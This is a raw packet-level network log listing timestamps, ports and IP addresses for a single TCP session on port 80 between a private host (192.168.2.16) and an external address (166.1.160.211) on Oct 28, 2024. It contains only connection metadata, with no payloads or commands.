Oct 28, 2024 19:46:20.422365904 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.422384977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.422416925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.422430992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.422446012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.422489882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.423042059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423077106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423109055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423125982 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.423142910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423173904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423197985 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.423207998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423242092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423253059 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.423278093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423310995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423326015 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.423362017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423396111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423410892 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.423430920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423464060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423479080 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.423886061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.423938990 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.424002886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424036980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424066067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424096107 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.424098969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424133062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424144030 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.424165964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424200058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424211025 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.424233913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424269915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424280882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.424303055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424336910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424344063 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.424371958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424405098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.424412966 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.426564932 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.435683966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.435736895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.435739994 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.435770035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.435811996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.435903072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.435936928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.435971022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.435985088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.436054945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.436100006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.436194897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.436227083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.436263084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.436273098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.436295986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.436328888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.436341047 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.436362982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.436413050 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.436624050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.436657906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.436691046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.436705112 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.436724901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.436774969 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.436980009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437012911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437047005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437067986 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.437081099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437114000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437124968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.437141895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437175035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437180042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.437211037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437242031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437261105 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.437275887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437310934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437315941 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.437827110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437860012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437865973 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.437908888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437942028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.437949896 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.437977076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438010931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438020945 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.438045979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438076973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438105106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.438112020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438139915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438157082 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.438597918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438631058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438646078 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.438664913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438699007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438709021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.438731909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438765049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438777924 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.438797951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438829899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438838005 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.438864946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438899040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438915014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.438932896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438965082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.438972950 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.439548969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.439584017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.439599991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.439619064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.439654112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.439666986 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.439687014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.439719915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.439732075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.473757982 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.475514889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.475569010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.475575924 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.475603104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.475656033 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.475789070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.475822926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.475857019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.475867987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.476052046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.476084948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.476104021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.476119041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.476151943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.476166010 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.476183891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.476212025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.476227999 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.476247072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.476295948 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.476471901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482229948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482281923 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.482331991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482367039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482400894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482415915 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.482510090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482553959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.482599974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482634068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482667923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482676983 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.482733011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482777119 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.482844114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482878923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482932091 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.482932091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.482965946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483000040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483014107 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.483056068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483103991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.483351946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483392954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483428001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483443975 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.483464003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483495951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483510017 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.483529091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483580112 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.483599901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483633041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483669043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483679056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.483701944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483735085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483746052 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.483769894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483803988 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483818054 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.483839035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483872890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483886003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.483906031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.483947992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.484513044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484545946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484580040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484596968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.484612942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484646082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484663010 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.484679937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484714031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484729052 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.484746933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484780073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484791040 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.484808922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484843016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484858036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.484877110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484910011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484920979 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.484945059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.484992027 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.485287905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485321999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485354900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485371113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.485421896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485455036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485469103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.485488892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485534906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485543966 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.485569954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485604048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485615015 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.485637903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485671997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485687971 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.485708952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485743046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.485759974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.485824108 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.486371040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486404896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486422062 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.486437082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486470938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486478090 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.486504078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486536980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486551046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.486569881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486603975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486619949 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.486635923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486670017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486685038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.486704111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486738920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486752987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.486769915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486803055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486819029 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.486838102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.486887932 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.487262011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487297058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487344980 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.487346888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487380981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487415075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487426996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.487448931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487481117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487498045 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.487515926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487548113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487566948 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.487582922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487615108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487623930 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.487648964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487677097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487689972 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.487709999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.487761021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.488238096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488274097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488306999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488318920 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.488341093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488373041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488384962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.488406897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488440037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488456964 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.488473892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488507032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488522053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.488542080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488574982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488591909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.488607883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488641977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488661051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.488676071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.488720894 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.489104033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489156008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489202023 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.489204884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489240885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489274025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489289045 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.489310026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489341974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489356041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.489377022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489408970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489424944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.489444971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489476919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489490032 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.489510059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489543915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489562988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.489578962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489607096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.489626884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.490041018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.490073919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.490098000 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.490107059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.490142107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.490155935 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.490178108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.490211964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.490226984 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.490247011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.490279913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.490294933 CET	49726	80	192.168.2.16	166.1.160.211
